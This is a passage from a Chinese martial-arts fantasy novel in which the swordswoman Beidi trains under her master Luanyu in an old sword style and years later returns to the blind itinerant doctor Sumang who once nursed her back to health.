“嗯。”宿莽把药碗放在桌上,“药要熬够时辰,不能早不能晚。” 北娣走过去,端起药碗,吹了吹,一口喝完。 药很苦,她的眉头皱了一下,但没有停,一口气喝完了。 宿莽站在旁边,听着她喝药的声音,嘴角微微弯了一下。 “苦吗?” “苦。” “下次我给你加点甘草。” 北娣把空碗放下,看着他的侧脸。 白纱蒙着眼,看不见他的眼睛,但他的鼻梁很高,嘴唇很薄,下巴的线条很好看。 阳光从窗户漏进来,落在他身上,把他那件白衣照得泛着淡淡的光。 她忽然说:“你一个人住在这里,不闷吗?” 宿莽想了想。 “闷。”他说,“但习惯了。” 北娣没再问。 白天,宿莽在院子里晒草药。 他把草药从药篓子里拿出来,铺在竹匾上,用手把叶片摊开,动作很慢,很仔细。 阳光落在那些草药上,散发出淡淡的苦香。 北娣坐在门槛上,看着他。 他看不见,但他摸得准。每一片叶子都被他摊得平平整整,没有一丝褶皱。 “你教我认药吧。” 她忽然说。 宿莽的手停了一下。 “你想学?” “嗯。”北娣站起来,走到他身边,“反正闲着也是闲着。” 宿莽笑了。 他从竹匾里捡起一片叶子,递给北娣。 “这是甘草。”他说,“甜的。你尝尝。” 北娣接过叶子,放进嘴里,嚼了嚼。眉头皱了一下,然后舒展开了。 “还真是甜的。” “甘草能调和诸药,很多方子里都会用到。”宿莽又捡起一片叶子,递给她,“这是黄连,苦的。” 北娣接过,放进嘴里,嚼了一下,脸皱成一团。 “好苦!” 宿莽笑出了声。 北娣瞪他,但他看不见。 她瞪了一会儿,自己也笑了。 一个月里,宿莽教她认了很多药。每一种药,他都让她尝一尝。甜的、苦的、酸的、辣的,她的舌头在那一个月里尝遍了各种味道。 她还学会了熬药。 火候、水量、时间,每一步都要精准。 她第一次熬药的时候,把药罐烧干了,厨房里全是糊味。 宿莽站在门口,闻着那股糊味,笑了。 “水放少了。” “我知道!” 北娣的声音从烟雾里传出来,带着一丝恼羞成怒。 宿莽没有进去帮她。 他就站在门口。 等着。 过了一会儿,北娣端着一碗黑乎乎的药汤走出来,放在桌上。 药汤的颜色很深,几乎看不到碗底。 “尝尝。”她说。 宿莽端起碗,喝了一口。 他的表情没有任何变化。 “怎么样?” 北娣盯着他。 “不错。”宿莽说,“就是火候大了点。” 北娣“切”了一声,端起碗自己喝了一口,然后脸皱成一团。 “好苦!” 宿莽笑了。 傍晚,两个人坐在门槛上,看着远处的山。 太阳从山后面落下去,把天边染成金红色。那颜色落在那座山上,像是给山镀了一层金。 北娣忽然开口。 “宿莽。” “嗯。” “你为什么不进南水?以你的医术,在南水至少能混个长老。” 宿莽沉默了一会儿。 “进了南水,就不能在边境摆摊了。”他说,“边境的人需要大夫。城里的大夫太贵,他们看不起。我不收他们的钱,他们就能看得起病了。” 北娣看着他,看了很久。 “你这个人。”她说,声音很轻。 宿莽笑了。 “怎么了?” “没什么。”北娣转过头,看着远处的山,“就是觉得,你这个人挺好的。” 宿莽没有说话。 风从山那边吹过来,带着青草和泥土的气味,还有一丝若有若无的药香。 北娣走的那天早上,天还没亮透。 她站在门口,背着剑,头发扎成高马尾,白衣换了一身干净的。 是宿莽给她买的,素白的,没有纹饰,袖口处有几道浅浅的褶子。 她回头看着宿莽。 宿莽站在屋里,白纱蒙着眼,手里拄着竹杖。 他没有出来送,就站在门口,面朝她的方向。 “我走了。” 北娣说。 “嗯。”宿莽点头,“路上小心。” 北娣看着他,看了很久。然后她开口,声音比平时轻了很多。 “我会保护你的。” 宿莽愣了一下。 然后他笑了。那笑容很轻,嘴角微微扬起,带着一种说不清的东西。 “你才十五岁。” 北娣没有笑。 她站在那里,白衣在晨风里轻轻翻飞,高马尾在脑后扬起来。 她的眼睛很亮,亮得像是有星星落在里面。 “十五岁怎么了?”她说,“十五岁就不能保护人了?” 宿莽没有回答。 他只是笑着,站在那里,面朝她的方向。 北娣转身走了。 走出十几步,她忽然停下来,没有回头。 “宿莽。” “嗯。” “我会回来的。” 她说完,走了。 白衣在晨光里越来越远,高马尾在风里飘着,最后消失在山路的尽头。 宿莽站在门口,听着她的脚步声越来越远,越来越轻,最后什么声音都没有了。 他站在那里,站了很久。 然后他转身,走回屋里,关上门。 33. 东夷旧忆剑如故 东夷。 山顶。 云雾从崖边漫上来,把整座山头裹在一片灰白色的潮湿里。 竹楼的檐角挂着风铃,风一吹,叮当响,铃声被雾气闷住,传不远。 奕秋站在空地上练剑。 白衣,无尘,剑光在雾里一闪一闪,像远处山涧里反射的碎光。 她的动作不快,但每一剑都精准——手腕、腰腹、脚步,每一处都刚刚好。 这套剑法她练了不知多少遍,闭着眼睛都能走完。 她的目光落在剑尖上,落在那道划过雾气的弧线上,脑子里在想别的事。 北娣走了一个月了。 卦象显示她没事,但卦象也显示她身上有伤。 不轻不重,刚好是“死不了但得养一阵”的程度。 奕秋收剑,剑尖斜指地面,气息平稳。她站在空地上,看着远处翻涌的云海,脸上没什么表情,但她的手指在剑柄上轻轻敲了两下。 然后她感受到了什么。 熟悉的气息。 奕秋的剑入鞘,人已经飞了出去。 白衣在云雾中一闪,像一只掠过山涧的白鹤。 她没有走山路,直接从崖边掠出去,脚尖点在树梢上,借力再起,每一次起落都掠出数十丈。 风从耳边呼啸而过,吹散了她束发的带子,黑发在身后飞扬。 从山顶到山脚,她只用了一盏茶的功夫。 东夷边境,官道尽头。 奕秋落在地上,衣摆翻飞了一下,然后垂落,贴在腿上。 她站在那里,看着远处。 晨光从东边漫过来,把官道照成一条淡金色的带子。 路两旁的树影很长,投在地上,像一道道栅栏。 路的尽头,一个人影出现了。 很小,很远,但她一眼就认出来了。 白衣。 高马尾。 剑。 那个人走得不快,步伐也不稳,像是有伤还没好利索。但她走得很直,背挺得笔直,头微微仰着,和走的时候一模一样。 奕秋站在原地,看着她越走越近。 阳光落在那个人身上,把她那件白衣照得发亮。 高马尾在脑后扬起来,发尾在晨光里闪着细碎的光。腰间的剑随着步伐轻轻晃动,剑鞘上的卦文在光下一明一暗。 北娣。 她回来了。 奕秋没有动。 她就站在那里,看着北娣一步一步走近。 北娣走到她面前,站定。 她比走的时候瘦了一些,下巴尖了,脸颊的婴儿肥消了大半。 她看着奕秋,咧嘴一笑。 那笑容和走的时候一样,眼睛弯弯的,带着一点“我回来了”的得意。 “师姐。” 奕秋看着她,看了很久。 目光从她脸上移到左肩,又移到右肋。 “伤都好了?”声音很平,听不出什么。 北娣活动了一下左肩:“好了。就是还有点酸。” 奕秋点头。 她没有问“怎么伤的”,也没有问“谁伤的”。 她只是站在那里,看着北娣,沉默了很久。 北娣突然笑了。 那笑容和刚才不一样,不是“我回来了”的得意,是一种更软的东西。 “师姐,我要学卦。” 奕秋看着她。 她想起北娣走之前说的那句话——“我才不学卦呢,整天算来算去的,没意思。” 现在她说“我要学卦”。 奕秋忽然笑了。 那笑容很淡,嘴角微微扬起,带着一点“我早就知道”的意思,又带着一点“你终于开窍了”的无奈。 “你不是说什么都不学卦吗?” 北娣的耳朵红了。 “师姐……” 她皱眉瞪奕秋,嘴唇抿着,眼神带着一点恼羞成怒,又带着一点“你能不能别拆台”的哀求。 耳朵尖那一点红在晨光里格外显眼,藏都藏不住。 奕秋看着她,笑意更深了一些。 她正要说什么,一道墨红色的影子从她身后闪过。 鸾虞不知道什么时候从山顶下来了,赤着脚站在北娣身后,一巴掌拍在北娣脑袋上。 “啪。” 声音不大,但很脆。 北娣被拍得往前踉跄了一步,捂着脑袋回头,对上鸾虞那双笑盈盈的眼睛。 “小祖宗,”鸾虞笑嘻嘻地说,“欢迎回家呀。” 北娣捂着脑袋,瞪着她:“师父!你打我!” “打你怎么了?”鸾虞又伸手在她脑袋上揉了一把,把她好不容易扎好的高马尾揉得乱七八糟,“出去一个月,回来就要学卦?你学卦?我还不教你呢。” 北娣的头发被她揉散了,几缕黑发垂下来,贴在脸上。 她伸手把头发拢到耳后,瞪着鸾虞,嘴唇动了动,想说什么,但没说出来。 鸾虞看着她那副憋屈的样子,笑得更开了。她从袖子里摸出一颗葡萄,塞进嘴里,嚼了嚼,吐了籽,然后拍了拍北娣的肩膀。 “行了,先回去。伤还没好利索,别在这儿站着吹风。” 北娣张了张嘴,想反驳,但鸾虞已经转身走了。 墨红色的衣袍在风里翻飞,赤着的脚踩在石板上,没有声音,几步就走出去了很远。 北娣看着她的背影,咬了咬嘴唇,然后扭头看奕秋。 “师姐,师父是不是不想教我?” 奕秋看着她,沉默了一瞬。 然后她伸出手,把北娣被揉散的头发拢到耳后。 “她会教的。” 北娣愣了一下。 奕秋的手从她耳边收回去,手指带着练剑磨出的薄茧,触在她皮肤上,有一点粗糙的温热。 “走吧。”奕秋转身,往山上走。 北娣站在原地,看着她的背影,然后跟上去。 * 北娣回来后,山顶上的日子变了。 天还没亮透,北娣就起来了。 她穿着那件宿莽送给她的白衣,站在空地上,手里握着剑,面对着翻涌的云海,一动不动。 剑尖斜指地面,腰微微下沉,肩膀放松,整个人从下到上是一根线。 这是鸾虞教的入门功夫。 北娣以前最烦这个,说“站那儿不动有什么意思”,每次站不到一盏茶就跑去练剑了。 但现在她站得很稳。 一盏茶,两盏茶,半个时辰。 她的腿在抖,额角渗出汗珠,但她没有动。 奕秋站在竹楼门口,看着她。她看了很久,然后转身走进厨房,烧了一壶水,泡了一壶茶,端出来放在廊下的木桌上。 北娣收了桩,走过来,端起茶碗喝了一口。 “师姐,我今天站了多久?” “半个时辰。” 北娣点头,放下茶碗,又走回空地上。 她没有休息,她开始练剑。 剑光在晨光里一闪一闪,比奕秋见过的任何时候都快。 不是快,是急。 每一剑都带着一股狠劲,像是在跟谁赌气,又像是在追赶什么东西。 奕秋坐在廊下,端着茶碗,看着她。 北娣的剑越来越快,越来越急。 她的呼吸乱了,脚步也乱了,但她的剑没有停。一剑接一剑,一剑比一剑快,快到最后只剩下一道白影在晨光里翻飞。 奕秋放下茶碗,站起来。 鸾虞不知道什么时候从竹楼里出来了,靠在门框上,手里捏着一颗葡萄,正往嘴里送。 她看着北娣练剑,脸上没什么表情,但她的眼睛一直跟着北娣的剑尖。 北娣收剑,喘着粗气,额角的汗顺着脸颊往下淌,滴在衣领上,洇开一小片深色。 鸾虞把葡萄塞进嘴里,嚼了嚼,吐了籽。 然后她走下来,赤着脚踩在青石板上,没有声音。她走到北娣面前,伸出手,握住了北娣的手腕。 北娣愣住了。 鸾虞的手指很凉,带着葡萄的汁水,搭在她手腕上,不轻不重。 “你在跟谁较劲?” 鸾虞的声音很轻,没有责怪,没有质问,只是陈述。 北娣没有说话。 她低着头,看着鸾虞的手指搭在自己手腕上,看着那几颗残留的葡萄汁水顺着她的小臂往下淌。 鸾虞松开手,退后一步,看着北娣。 “剑不是这样用的。你太急了。” 北娣抬起头,看着鸾虞。她的嘴唇动了动,想说什么,但没说出来。 鸾虞看着她,沉默了一瞬。然后她伸出手,从北娣手里拿过剑。 北娣的剑在她手里,忽然变得不一样了。 鸾虞握剑的姿势和奕秋不一样,和北娣也不一样。 她的手腕很松,手指搭在剑柄上。 剑尖斜指地面,剑身与地面呈一个微妙的角度,不偏不倚。 另一只手抬起,两指轻轻搭在剑身中段。 她站在那里,整个人从下到上是一根线。 北娣看着她,愣住了。 鸾虞出剑了。 剑身抬到与腰齐平,手腕轻轻一转,剑尖在空中划出一道弧线。 那弧线很慢,慢到能看清剑尖划过的每一寸轨迹。 但北娣知道,那不是慢,是控制。 剑尖划过的地方,空气被切开,发出极轻的嗡鸣。 那声音不是剑鸣,是空气被撕裂的声音。 鸾虞收剑,剑尖回落,斜指地面。 “看清楚了吗?” 北娣张了张嘴,没说出话。她看见了。她看见了那道弧线,看见了那个起手式,看见鸾虞握剑的姿势、脚步的落点、腰的转动。 但她知道,她没看懂。 “这个剑法……” 北娣的声音有些干涩。 “为什么这么奇怪?好看……但是又很……从来没有听说过的章法。” 鸾虞笑了。 她把剑递还给北娣,伸手拍了拍北娣的脑袋。 “傻丫头,会这个剑术的,都很厉害。” 她顿了顿。 “你就学吧。” 北娣接过剑,低头看着手里的剑,又抬头看着鸾虞。 鸾虞已经转身走回廊下了,从袖子里又摸出一颗葡萄,塞进嘴里,嚼了嚼,吐了籽。 然后她往软榻上一躺,扇着蒲扇,眯着眼睛看天上的云。 北娣站在空地上,握着剑,看着鸾虞的背影,看了很久。 然后她转过身,面对云海。 剑尖斜指地面。 腰微微下沉。肩膀放松。 她回忆着鸾虞刚才的姿势,调整自己的手腕、手臂、脚步。 一遍不对,再来。两遍不对,再来。三遍、四遍、五遍—— 鸾虞躺在软榻上,扇着蒲扇,葡萄一颗一颗往嘴里送。 她的目光落在北娣身上,落在她的手腕上、腰上、脚步上。 “手腕沉一点。” 她忽然开口。 北娣的手腕往下沉了一寸。 “再沉一点。” 北娣的手腕又往下沉了一寸。 “对,就是这样。” 北娣保持着那个姿势,一动不动。她的手腕开始发酸,手臂开始发麻,但她没有动。 她看着剑尖,剑尖指着地面,在晨光里泛着冷冷的光。 奕秋站在竹楼门口,看着这一幕。 她的脸上没什么表情,但她的目光一直落在北娣的手腕上——那个角度,那个弧度,那个“刚刚好”的位置。 她见过。 很多年前,鸾虞教她剑法的时候,也是这样说——“手腕沉一点,再沉一点。” 她练了一万遍。 练到手腕酸得抬不起来,筷子都拿不稳,但她没有停。 现在北娣也在做同样的事。 奕秋转身,走进厨房,又烧了一壶水。 接下来一个月,北娣每天都在练那个起手式。 天还没亮她就起来了,站在空地上,握着剑,面对云海。 手腕下沉,剑尖斜指地面。 一遍。两遍。一百遍。一千遍。 她的手腕肿了,吃饭的时候筷子都拿不稳,但她没有停。 奕秋坐在廊下,端着茶碗,看 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北娣收剑,走到廊下,端起茶碗喝了一口。 她的手腕还在微微发抖,那是练得太久、肌肉在颤。 鸾虞看了她一眼。 “别急。” 北娣放下茶碗,走回空地,重新摆好起手式。 鸾虞没有再说话。她把花生壳扔在地上,翻了个身,面朝竹楼的墙壁。 北娣练了一个月。 她的起手式终于像样了。 剑尖斜指地面,手腕沉到刚刚好的位置,腰不晃,脚步稳。她站在那里,整个人从下到上是一根线。 鸾虞从软榻上坐起来,看了她一眼,点了点头。 “还行。” 北娣笑了。 那笑容很轻,不是那种“我做到了”的得意,是一种“我终于做到了”的释然。 奕秋站在竹楼门口,看着北娣的笑容,嘴角微微弯了一下。 北娣继续练剑。 她的剑法和以前不一样了。以前是快、狠、拼命,每一剑都像在跟谁赌气。现在不一样了,她的剑慢了,但每一剑都沉了。 不是剑沉了,是她的心沉了。 奕秋注意到了。 北娣不再笑嘻嘻的了。 她练剑的时候不笑,吃饭的时候不笑,连和鸾虞斗嘴的时候都不笑了。 她不是不开心,是她的心沉下去了。 沉到很深很深的地方,沉到那些“笑嘻嘻”浮不上来的地方。 奕秋知道为什么。 因为北娣说过的那句话——“我会保护你的。” 她不是说着玩的。 所以她要变强。 强到能保护那个人。 强到不会像上次那样,浑身是血靠在树上,以为自己要死了。 奕秋站在远处的屋顶上,看着北娣练剑。 白衣在风里翻飞,高马尾在脑后扬起来,剑光在晨光里一闪一闪。 北娣的剑越来越快,越来越凌厉,每一剑都带着一股锐利的东西,像冬天从北边吹过来的风。 但她的手腕还是沉的。 不管剑多快、多狠,她的手腕始终沉在那个刚刚好的位置。 奕秋看着那个手腕,忽然想起一件事。 这套剑法,她也会。 鸾虞教过她。 很多年前,她刚上山的时候,鸾虞教她的第一套剑法就是这个。 她练了很久,练到手腕酸得抬不起来,练到筷子都拿不稳。 后来她学会了。 但她从来不用。 不是因为这套剑法不好。 是因为这套剑法不是东夷的。 东夷的剑法奕秋也会,鸾虞教过她。 那是鸾虞从东夷带来的,正统的、规矩的、每一剑都有章法的剑法。 但北娣练的这套不是。 这套剑法没有章法,没有出处,不在任何一本剑谱上。 它像是从什么地方来的,又像是被什么人带来的。它不属于东夷,不属于南水,不属于原终,不属于北疆。 它属于一个已经不存在的地方。 瑶鹤宫。 奕秋不知道鸾虞为什么要教北娣这套剑法。 她也不知道鸾虞为什么从来不自己用。 鸾虞的剑挂在竹楼的墙上,积了灰。 她从来不拔剑,从来不练剑,连碰都不碰。 奕秋从屋顶上跳下来,落在廊下。 鸾虞躺在软榻上,扇着蒲扇,眼睛闭着,像是在打盹。 葡萄吃完了,花生也吃完了,她手里什么都没捏,手指空着,轻轻敲着软榻的扶手。 奕秋站在她旁边,站了很久。 “师父。” 鸾虞没有睁眼。 “嗯。” “这套剑法,你为什么不用?” 鸾虞的手指在扶手上停了一瞬。很短,短到几乎看不出来。然后她继续敲,一下,一下。 “什么?” 她睁开眼,看向奕秋。 她的眼神很淡,让人看不真切。 奕秋看着她,没有再问。 她转身,走回空地,拔出无尘。 剑光在晨光里一闪。 她开始练剑。 不是东夷的剑法,是那套剑法。 瑶鹤宫剑法。 鸾虞躺在软榻上,看着奕秋的背影。 蒲扇在她手里停了,风从山那边吹过来,吹动竹楼檐角的风铃,叮当响了一声。 她没有说话。 她只是躺在那里,看着奕秋练剑。 看着那道剑光在晨光里一闪一闪,看着那个起手式。 鸾虞的嘴角动了一下。 不是笑,是一种更淡的、说不清的东西。 然后她闭上眼睛,蒲扇又摇了起来。 风铃还在响。 34. 涟漪南归落照迟 两个月后,北娣入了尊界。 过了很多年,北娣经常出去闯荡,救人,杀人,行走于江湖之中。 鸾虞也是,经常不呆在东夷。 她总是说,自己是出去玩的。 救人,太累。 * 北娣二十一岁那年春天,入了尊界五重。 消息传回东夷的时候,鸾虞正躺在竹楼的软榻上吃葡萄。 奕秋站在廊下,手里拿着信鸽腿上解下来的纸条,展开看了一眼,然后走到鸾虞面前。 “师父,北娣入尊五了。” 鸾虞嚼葡萄的动作停了一下。 她把葡萄咽下去,吐了籽,伸手接过纸条,眯着眼看了一遍,然后笑了。 “这丫头。”她把纸条揉成团,随手扔到一边,又从碟子里捏了一颗葡萄塞进嘴里,嚼了嚼,含糊不清地说,“我就说嘛,多出去走走,比在山上闷着强。” 奕秋看着她,没有说话。 鸾虞又捏了一颗葡萄,举到眼前看了看,然后放进嘴里。 “她什么时候回来?” 奕秋沉默了一瞬。 “她没说要回来。” 鸾虞嚼葡萄的动作又停了一下。 她看着奕秋,奕秋也看着她。 两个人对视了一瞬,然后鸾虞笑了。 “行吧。”她把葡萄皮吐在手心里,随手扔到一边,往软榻上一靠,闭上眼睛,“爱回来不回来。” 奕秋站在廊下,看着鸾虞。 风吹过来,吹动竹楼檐角的风铃,叮当响了一声。 鸾虞闭着眼睛,手指在软榻的扶手上轻轻敲着,一下,一下。 奕秋转身走了。 她走到空地上,拔出无尘,开始练剑。 剑光在晨光里一闪一闪,比平时快了一些。 她没有告诉鸾虞,她算过一卦。 北娣此行,会遇到一个人。 不是敌人,是一个很久以前见过的人。 卦象显示,那个人对北娣很重要。至于有多重要,卦象没有说。 奕秋收剑,剑尖斜指地面。 她站在空地上,看着远处翻涌的云海,脸上什么表情都没有,但她的手指在剑柄上轻轻敲了两下。 然后她转身,走回竹楼。 鸾虞还在软榻上躺着,葡萄已经吃完了,碟子里只剩几片葡萄叶。 她闭着眼睛,蒲扇搭在肚子上,呼吸很轻,像是睡着了。 奕秋走进竹楼,从墙上取下那柄积了灰的长剑,用布擦了擦剑鞘,然后挂回去。 她没有拔剑,只是擦了一下,就挂回去了。 那柄剑在墙上挂了很多年,从来没有被拔出来过。 奕秋不知道那柄剑是什么样子,也不知道鸾虞为什么从来不拔它。 她只知道,那柄剑是鸾虞从那个地方带来的。 那个已经不存在的地方。 * 南水边境。 春末夏初,天气开始热了。 官道两旁的树长满了新叶,绿油油的,风一吹,沙沙响。 阳光从树冠的缝隙里漏下来,落在路上,像碎了一地的金子。 宿莽在城外摆摊。 还是那个位置,官道拐角处,一棵大槐树下面。 树下放着一张木桌,两把木椅,桌上摆着几只陶碗、一卷纱布、几个瓷瓶。 旁边立着一根竹竿,竿上挂着一面布幌子,上面写着两个字——“义诊”。 字迹歪歪扭扭,像是用左手写的,但每一笔都很用力,墨迹渗进布纹里,洗不掉。 太阳刚升起来,宿莽就出摊了。 他穿着那件白衣,洗得发白,领口和袖口有几道细密的缝补痕迹,针脚很匀,是他自己缝的。 白纱蒙着眼,竹杖拄在手里,步伐不快不慢。 他从借住的小屋走到大槐树下,这条路他走了无数遍,每一步都记得。 他把木桌摆好,把陶碗、纱布、瓷瓶一样一样放在桌上,位置和昨天一样,和前天一样,和每一天都一样。 然后他坐下来,面朝官道的方向,等着。 第一个病人是个樵夫,挑着柴担子从山上下来,脚下一滑,摔在路边,左腿膝盖磕在石头上,皮开肉绽,血顺着小腿往下淌。他一瘸一拐地走到宿莽的摊子前,把柴担子放在地上,喘着粗气。 “大夫,我腿摔了,您给看看。” 宿莽站起来,伸出手。 他的手指在樵夫膝盖上轻轻触了一下,没有碰伤口,只是触了一下周围的皮肤。 “骨头没事,皮外伤。”他从桌上拿起一个瓷瓶,拔开瓶塞,倒了一点药粉在伤口上。 药粉是黄色的,带着一股草药味,落在伤口上,樵夫“嘶”了一声,缩了一下腿,但没有躲开。 宿莽的手指很轻,轻得像是在擦拭一件易碎的瓷器。 他把药粉涂匀,用纱布缠了几圈,打了一个结。 “三天别沾水,五天后来换药。” 樵夫低头看着自己被包扎好的膝盖,又抬头看着宿莽。 “大夫,多少钱?” “不要钱。” 樵夫愣了一下,然后从怀里摸出几个铜板,放在桌上。 “大夫,您拿着,买碗茶喝。” 宿莽笑了。 那笑容很轻,嘴角微微扬起,带着一种说不清的东西。 “好,谢谢。” 樵夫挑起柴担子,一瘸一拐地走了。 走了几步,他回头看了一眼,宿莽已经坐回椅子上,面朝官道的方向,阳光落在他身上,把他那件白衣照得发亮。 樵夫看了两息,转身走了。 第二个病人是个猎户,被毒蛇咬伤了右手。 他骑在马上,右手肿得老高,皮肤发紫,从手腕一直肿到胳膊肘。 他从马上跳下来,踉跄着走到宿莽面前,把右手伸过去。 “大夫,蛇咬的!您快看看!” 猎户这才注意到宿莽的眼睛,愣了一下。 但显然,宿莽没有在意。 宿莽握住他的手腕,手指在伤口边缘轻轻触了一下。 他的眉头皱了一下,但很快又松开了。 “什么蛇?” “不知道,没看清。” 宿莽从桌上拿起另一个瓷瓶,拔开瓶塞,倒了一点药粉在伤口上。 药粉是黑色的,带着一股辛辣的气味,落在伤口上,猎户疼得“啊”了一声,但宿莽的手没有松。 “别动。” 他的声音很轻,但很稳。 猎户咬着牙,没有再动。 宿莽又倒了一点药粉,这一次不是撒在伤口上,是撒在纱布上。 他把纱布叠成厚厚的一小块,敷在伤口上,然后用干净的纱布缠了几圈,打了一个结。 “毒已经清了,伤口三天换一次药,七天就好了。” 猎户低头看着自己被包扎好的右手,活动了一下手指,不疼了,肿也消了大半。 “大夫,多少钱?” “不要钱。” 猎户愣了一下,然后从马上解下一个酒囊,塞进宿莽手里。 “大夫,这是我自己酿的酒,您拿着喝。” 宿莽接过酒囊,摸了摸,笑了。 “好,谢谢。” 猎户翻身上马,走了。 马蹄声在官道上越来越远,最后听不见了。 第三个病人是个小孩,发烧,脸红得像火烧,嘴唇干裂,整个人缩在母亲的怀里,眼睛半睁半闭,像是随时会昏过去。 母亲抱着他,一路跑过来的,鞋跑掉了一只,脚上全是泥。 “大夫!大夫您快看看我家娃!烧了三天了,退不下来!” 宿莽站起来,伸出手。 他的手指搭在小孩的手腕上,停了几息。然后他松开手,从桌上拿起一个瓷瓶,倒了一点药粉在碗里,又从另一个瓷瓶里倒了一点药粉,兑了水搅匀。 “把他抱起来,喂他喝。” 母亲把小孩抱起来,小孩闭着眼睛,不肯张嘴。母亲急得眼泪都掉下来了。 “娃,乖,喝药,喝了就好了——” 小孩还是不张嘴。 宿莽伸出手,手指在小孩的嘴唇上轻轻触了一下,然后顺着下巴往下,摸到喉咙的位置,轻轻按了一下。 小孩“哇”的一声张开了嘴,母亲赶紧把药喂进去。 小孩呛了一下,咳了两声,然后咽下去了。 宿莽收回手,坐回椅子上。 “一个时辰后烧就退了,这几天别吹风,多喝水。” 母亲抱着小孩,眼泪止不住地流。“大夫,谢谢您,谢谢您——” “不用谢。”宿莽的声音很轻,“快回去吧,风大。” 母亲抱着小孩走了。 走出几步,她忽然停下来,回头看着宿莽。 宿莽坐在椅子上,面朝官道的方向,阳光落在他身上,把他那件白衣照得发亮。 白纱蒙着眼,看不见他的眼睛,但他的嘴角微微弯着,带着一种让人安心的弧度。 母亲张了张嘴,想说什么,但没说出来。她转过身,抱着小孩走了。 太阳渐渐偏西。 宿莽没有收摊。他坐在那里,面朝官道,一动不动。 风吹过来,吹动他面前那面布幌子,上面的“义诊”两个字在风里晃了晃。 官道的尽头,站着一个人。 白衣,高马尾,腰悬长剑。 她站在那里,站了很久。 从太阳还在头顶的时候,站到太阳偏西,站到影子从脚下拉长到身后。 她看着宿莽救治了很多人,看着他的手还是那么稳,他的声音还是那么轻,他笑起来还是那么好看。 她没有走过去。 她就站在官道的尽头,站在那棵大槐树的影子外面,看着宿莽。 她认出他了。 六年前,她浑身是血靠在树上,以为自己要死了。 他蹲在她面前,笑着说“我是大夫”。 后来她在山间小屋养了一个月。 他每天给她换药、熬药、煮粥,教她认药。 六年后她回来了。 她站在官道的尽头,看着他在夕阳下收摊。 太阳落山了。 宿莽站起来,拄着竹杖,把桌上的陶碗、纱布、瓷瓶一样一样收进药箱里。 他的动作很慢,但很稳,每一样东西都放在固定的位置,和早上摆出来的时候一样。 他把竹竿上的布幌子取下来,叠好,放进药箱里。 然后他背起药箱,拄着竹杖,准备往回走。 走了两步,他停下来。 他没有回头。 他只是站在那里,面朝官道的方向,白纱蒙着眼,看不见他的表情,但他的嘴角微微弯了一下。 “你站了一天了。” 宿莽的声音很轻,带着一点笑意,像是在说一件很普通的事。 北娣站在官道的尽头,看着他。她的嘴唇动了一下,想说什么,但没说出来。 她站在那里,看着宿莽的背影,看了很久。然后她开口,声音比平时轻了很多。 “你怎么知道是我?” 宿莽转过身,面朝她的方向。 他的嘴角还弯着,那笑容和六年前一样,轻的、淡的、像是从很远的地方传来的。 “姑娘的气息,”他说,“跟六年前不一样了。强了很多。” 北娣愣了一下。 她看着宿莽,看了很久。 阳光从她身后落下去,把她的影子拉得很长,一直延伸到宿莽脚下。 她往前走了一步,从槐树的影子外面走进来,走进夕阳的光里。 “我叫北娣,不是什么姑娘。” 宿莽笑了。 那笑容和刚才不一样,不是“我在笑”的笑,是一种更深的、更软的东西。 “那叫你什么?阿北?” 北娣摇头。 “不要。叫我阿涟。” 宿莽愣了一下。 “阿涟?” 北娣点头。 她站在宿莽面前,离他很近,近到能看清他白纱下面的鼻梁、嘴唇、下巴的线条。 夕阳落在她脸上,把她那层惯常的疏离照得褪了几分,露出一张很认真的脸。 “我师父给我起的。”她说,“只有我师父和师姐知道。” 宿莽沉默了一瞬。 然后他笑了,那笑容很轻,嘴角微微扬起,带着一种说不清的东西。 “好的,阿涟。” 北娣的耳朵红了。 她没有别过脸去,没有瞪他,没有说“你笑什么”。 她就站在那里,耳朵红红的,看着宿莽。 宿莽看不见,但他的嘴角弯着,像是在等她说话。 “你这些年,一直在南水?” 北娣问。 “嗯。”宿莽点头,“偶尔去原终,偶尔去北疆。哪里有人生病,就去哪里。” “北疆你也去?” “去过几次。那边冷,冬天容易得风寒。北疆的大夫少,药材也缺,我去给他们送过几次药。” 北娣看着他,看了很久。 “你一个人?” “一个人。” “不怕死?” 宿莽想了想。 “怕。” “但怕也得去。” 北娣没有说话。 她伸出手,从宿莽肩上取下药箱,背在自己肩上。 药箱很重,她背上去的时候肩膀沉了一下,但她没有放下。 宿莽愣了一下。 “你——” “我帮你背。”北娣打断他,“你住哪儿?我送你回去。” 宿莽张了张嘴,想说什么,但没说出来。 他站在那里,面朝北娣的方向,白纱蒙着眼,看不见他的表情,但他的嘴角弯着。 “走吧。”他转身,拄着竹杖,往官道旁边的小路走去。 北娣跟在他身后,背着药箱,白衣在暮色里翻飞,高马尾在脑后扬起来。 两个人一前一后,走在南水边境的小路上。天快黑了,路两旁的树影越来越深,把小路挤成一条窄窄的缝。 宿莽走得很稳,每一步都踩在熟悉的地方。 北娣忽然开口。 “宿莽。” “嗯。” “你一个人住在这里,不闷吗?” 宿莽想了想。 “闷。” “但习惯了。” 北娣没有接话。 她看着宿莽的背影,看了很久。 “以后不会了。” 她的声音很轻,轻得像是在说给自己听。 宿莽的脚步顿了一下。 很短,短到几乎看不出来。 然后他继续往前走,步伐和刚才一样,不紧不慢。 但他的嘴角,弯得更深了一些。 宿莽住的地方离官道不远,是一间很小的土坯房,屋顶铺着茅草,墙上爬着青藤。 门前有一小片空地,种着几畦草药,长得很好,叶子绿油油的,在暮色里泛着暗沉的光。 北娣站在门口,看着那间小屋。 和她六年前住的那间不一样,这间更小、更旧、更简陋。 但门口种着草药,窗台上放着几只陶碗,碗里盛着清水,水里泡着几片薄荷叶。空气里弥漫着淡淡的药香,混着泥土和青草的气味。 “到了。”宿莽推开门,侧身让她进去,“简陋了些,别嫌弃。” 北娣走进去。 屋里很暗,只有窗户漏进来的一点暮光,把屋里照得半明半暗。 一张木床,一张木桌,两把木椅。 桌上摆着几只陶碗,碗里盛着熬好的药汤,还冒着热气。 墙角堆着几个药篓子,里面装着各种草药,有的晒干了,有的还带着露水。 北娣把药箱放在桌上,转过身,看着宿莽。 他站在门口,手里拄着竹杖,白衣在暮色里泛着淡淡的光。 北娣看着他,忽然笑了。 那笑容很轻,带着一种更软的东西。 “你这里,比六年前那间还破。” 宿莽愣了一下,然后笑了。 “六年前那间不是我的。” “那是谁的?” “借的。”宿莽说,“一个病人家的,空着也是空着,借我住了一个月。” 北娣看着他,沉默了一瞬。 然后她走到桌边,端起那碗还冒着热气的药汤,闻了闻。 “黄连、黄芩、黄柏……还有栀子。”她扭头看着宿莽,“解毒汤?” 宿莽点头。 “你给自己熬的?” “嗯。” “你生病了?” “没有。”宿莽走进来,在木椅上坐下,“预防 